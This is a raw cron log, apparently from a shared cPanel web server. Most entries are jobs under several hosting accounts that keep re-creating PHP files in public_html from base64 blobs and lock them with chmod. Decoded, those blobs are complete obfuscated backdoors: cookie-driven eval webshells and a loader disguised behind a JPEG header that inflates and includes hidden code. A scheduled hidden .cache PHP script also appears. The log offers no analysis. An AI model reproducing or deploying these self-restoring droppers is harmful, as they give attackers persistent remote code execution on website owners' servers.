"$fp"; fi; chmod 444 "$fp")
Mar  1 20:31:01 medusa CROND[26846]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:31:01 medusa CROND[26847]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:31:01 medusa CROND[26839]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:31:01 medusa CROND[26836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:31:01 medusa CROND[26828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:32:01 medusa CROND[15278]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:32:01 medusa CROND[15277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:32:01 medusa CROND[15280]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:32:01 medusa CROND[15281]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:32:01 medusa CROND[15282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:32:01 medusa CROND[15284]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:32:01 medusa CROND[15283]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:32:01 medusa CROND[15287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:32:01 medusa CROND[15288]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:32:01 medusa CROND[15290]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:32:01 medusa CROND[15297]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:32:01 medusa CROND[15298]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:32:01 medusa CROND[15299]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:33:01 medusa CROND[32204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:33:01 medusa CROND[32312]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:33:01 medusa CROND[32313]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:33:01 medusa CROND[32315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:33:01 medusa CROND[32322]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:33:01 medusa CROND[32323]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:33:01 medusa CROND[32327]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:33:01 medusa CROND[32330]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:33:01 medusa CROND[32331]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:33:01 medusa CROND[32334]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:33:01 medusa CROND[32338]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:33:01 medusa CROND[32335]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:34:02 medusa CROND[13615]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:34:02 medusa CROND[13616]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:34:02 medusa CROND[13617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:34:02 medusa CROND[13618]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:34:02 medusa CROND[13619]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
